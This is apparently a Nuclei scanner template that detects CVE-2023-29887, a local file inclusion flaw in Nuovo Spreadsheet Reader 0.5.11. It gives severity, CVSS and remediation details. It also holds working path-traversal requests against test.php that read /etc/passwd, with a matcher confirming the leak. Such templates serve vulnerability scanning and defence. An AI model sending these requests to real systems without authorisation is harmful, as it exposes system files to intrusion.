id: CVE-2023-29887

info:
  name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
  author: ctflearner
  severity: high
  description: |
    A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
  remediation: |
    Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
  reference:
    - https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
    - https://github.com/nuovo/spreadsheet-reader/issues/169
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29887
    cwe-id: CWE-22
    epss-score: 0.8674
    epss-percentile: 0.99437
    cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nuovo
    product: spreadsheet-reader
  tags: cve2023,cve,nuovo,spreadsheet-reader,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220280afd9b89550e80b960dc56c551ca74499442b48914ca160d7fa4f936732ff50221009fb3a277404ce14294c63cf505fcbb0b0005820ff800eb7fdb5384a4ae605803:922c64590222798bb761d5b6d8e72950